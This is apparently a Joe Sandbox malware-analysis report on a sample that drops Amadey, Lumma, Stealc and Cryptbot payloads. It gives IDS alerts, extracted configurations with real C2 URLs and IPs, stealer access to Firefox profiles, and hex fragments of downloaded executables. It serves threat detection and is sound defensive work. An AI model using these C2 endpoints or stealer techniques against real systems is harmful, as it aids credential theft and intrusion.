2024-11-24T12:25:27.437425+0100	2028371	3	Unknown Traffic	192.168.2.4	49952	104.21.33.116	443	TCP
2024-11-24T12:25:37.276037+0100	2028371	3	Unknown Traffic	192.168.2.4	49974	104.21.33.116	443	TCP
2024-11-24T12:25:40.620390+0100	2028371	3	Unknown Traffic	192.168.2.4	49980	104.21.33.116	443	TCP
2024-11-24T12:25:45.420199+0100	2028371	3	Unknown Traffic	192.168.2.4	49994	104.21.33.116	443	TCP
2024-11-24T12:25:46.312456+0100	2028371	3	Unknown Traffic	192.168.2.4	49996	104.21.33.116	443	TCP
2024-11-24T12:25:52.172901+0100	2028371	3	Unknown Traffic	192.168.2.4	50035	104.21.33.116	443	TCP
2024-11-24T12:25:56.389507+0100	2028371	3	Unknown Traffic	192.168.2.4	50052	104.21.33.116	443	TCP
2024-11-24T12:25:59.267150+0100	2028371	3	Unknown Traffic	192.168.2.4	50059	104.21.33.116	443	TCP
2024-11-24T12:26:01.857292+0100	2028371	3	Unknown Traffic	192.168.2.4	50066	104.21.33.116	443	TCP
2024-11-24T12:26:06.288010+0100	2028371	3	Unknown Traffic	192.168.2.4	50081	104.21.33.116	443	TCP
2024-11-24T12:26:08.719876+0100	2028371	3	Unknown Traffic	192.168.2.4	50091	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:24:54.354139+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49864	104.21.33.116	443	TCP
2024-11-24T12:24:59.709293+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49875	104.21.33.116	443	TCP
2024-11-24T12:25:41.664086+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49980	104.21.33.116	443	TCP
2024-11-24T12:25:46.134960+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49994	104.21.33.116	443	TCP
2024-11-24T12:25:47.418549+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49996	104.21.33.116	443	TCP
2024-11-24T12:26:09.444454+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50091	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:24:54.354139+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49864	104.21.33.116	443	TCP
2024-11-24T12:25:41.664086+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49980	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:24:59.709293+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49875	104.21.33.116	443	TCP
2024-11-24T12:25:46.134960+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49994	104.21.33.116	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:25:49.213709+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50006	185.215.113.16	80	TCP
2024-11-24T12:26:11.407943+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50101	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:24:22.767878+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49791	185.215.113.43	80	TCP
2024-11-24T12:24:35.154484+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49819	185.215.113.43	80	TCP
2024-11-24T12:24:43.304422+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49836	185.215.113.43	80	TCP
2024-11-24T12:24:52.586403+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49860	185.215.113.43	80	TCP
2024-11-24T12:25:07.980471+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49897	185.215.113.43	80	TCP
2024-11-24T12:25:16.014258+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49915	185.215.113.43	80	TCP
2024-11-24T12:25:29.007850+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49956	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:24:50.759684+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49854	34.116.198.130	80	TCP
2024-11-24T12:24:52.654643+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49863	34.116.198.130	80	TCP
2024-11-24T12:25:21.408404+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49939	34.116.198.130	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:25:26.259463+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49945	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:25:26.000644+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49945	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:25:26.596564+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49945	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:25:30.246610+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49945	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:25:27.653202+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49945	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:25:04.012035+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49887	104.21.33.116	443	TCP
2024-11-24T12:25:37.928212+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49974	104.21.33.116	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:25:25.406573+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49945	185.215.113.206	80	TCP
2024-11-24T12:26:33.616907+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50168	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:24:07.030429+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49753	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:24:21.413134+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49759	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:24:11.679520+0100	2803305	3	Unknown Traffic	192.168.2.4	49765	31.41.244.11	80	TCP
2024-11-24T12:24:24.244905+0100	2803305	3	Unknown Traffic	192.168.2.4	49793	31.41.244.11	80	TCP
2024-11-24T12:24:36.747500+0100	2803305	3	Unknown Traffic	192.168.2.4	49825	31.41.244.11	80	TCP
2024-11-24T12:24:44.814863+0100	2803305	3	Unknown Traffic	192.168.2.4	49842	185.215.113.16	80	TCP
2024-11-24T12:24:54.199592+0100	2803305	3	Unknown Traffic	192.168.2.4	49868	185.215.113.16	80	TCP
2024-11-24T12:25:09.728433+0100	2803305	3	Unknown Traffic	192.168.2.4	49902	185.215.113.16	80	TCP
2024-11-24T12:25:18.154170+0100	2803305	3	Unknown Traffic	192.168.2.4	49930	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:25:32.313315+0100	2803304	3	Unknown Traffic	192.168.2.4	49945	185.215.113.206	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:26:06.340210+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50081	104.21.33.116	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000001.00000002.1758282576.0000000000691000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 779ae05f2f.exe.7908.7.memstrmin	Malware Configuration Extractor: Cryptbot {"C2 list": ["home.fvtekk5pn.top"]}
Source: 3907f97605.exe.7488.31.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\service123.exe	ReversingLabs: Detection: 45%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 55%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: 779ae05f2f.exe, 00000007.00000003.2487645168.0000000007452000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_563b8f9d-a

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=3907f97605.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=3907f97605.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=3907f97605.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=3907f97605.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Bitcoin Miner

DNS related to crypt mining pools

Source: unknown

DNS query: name: xmr-eu2.nanopool.org

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50091 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: c7f41aa061.exe, 0000002F.00000003.3276046785.0000000004E70000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Code function: 9_2_00406301 FindFirstFileW,FindClose,	9_2_00406301
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Code function: 9_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	9_2_00406CC7
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Code function: 22_2_00406301 FindFirstFileW,FindClose,	22_2_00406301
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Code function: 22_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	22_2_00406CC7

Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49753 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49759
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49791 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49819 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49836 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49854 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49860 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49863 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49897 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49915 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49939 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49945 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49956 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49945 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49945
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49945 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49945
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49945 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50168 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49875 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49875 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49864 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49864 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49887 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49980 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49980 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49974 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49994 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49994 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49996 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50091 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50081 -> 104.21.33.116:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://property-imper.sbs/api
Source: Malware configuration extractor	IPs: 185.215.113.43
Source: Malware configuration extractor	URLs: home.fvtekk5pn.top

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 11:24:11 GMTContent-Type: application/octet-streamContent-Length: 4380672Last-Modified: Sun, 24 Nov 2024 09:56:57 GMTConnection: keep-aliveETag: "6742f869-42d800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 50 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 80 c4 00 00 04 00 00 04 13 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 33 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 33 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 7a 63 76 6b 66 76 6a 00 30 1b 00 00 10 a9 00 00 26 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 75 62 64 6f 6a 6d 7a 00 10 00 00 00 40 c4 00 00 04 00 00 00 b2 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 c4 00 00 22 00 00 00 b6 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 11:24:24 GMTContent-Type: application/octet-streamContent-Length: 4299783Last-Modified: Sun, 24 Nov 2024 10:46:32 GMTConnection: keep-aliveETag: "67430408-419c07"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 e4 e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 74 00 00 00 d4 07 00 00 